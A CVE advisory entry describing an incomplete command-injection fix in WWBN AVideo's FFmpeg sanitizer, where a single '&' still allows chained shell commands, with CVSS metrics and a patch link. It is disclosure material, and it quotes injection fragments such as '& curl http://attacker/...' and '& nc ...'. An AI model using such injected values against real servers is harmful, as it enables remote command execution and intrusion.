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CVE-2026-55173

HIGH
8.1
CVSS 3.1
Description
WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

Metadata

CVE ID
CVE-2026-55173
State
PUBLISHED
Assigner
GitHub_M
Reserved
2026-06-16 15:20 UTC
Published
2026-07-16 20:41 UTC
Last updated
2026-07-16 20:41 UTC
Primary CWE
CWE-78
CWE-78: Improper Neutralization of Special Elements used in …
Vendor / Product
WWBN / AVideo
Sources
cve.org  ·  NVD

Severity & Metrics

8.1 HIGH CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected products (1)
VendorProductPlatformVersions
WWBN AVideo <= 29.0
Weakness (CWE)
CWESourceDescription
CWE-78 cna CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CVSS scores (1)
ScoreSeverityVersionSourceVector
8.1 HIGH 3.1 cna CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
References (2)
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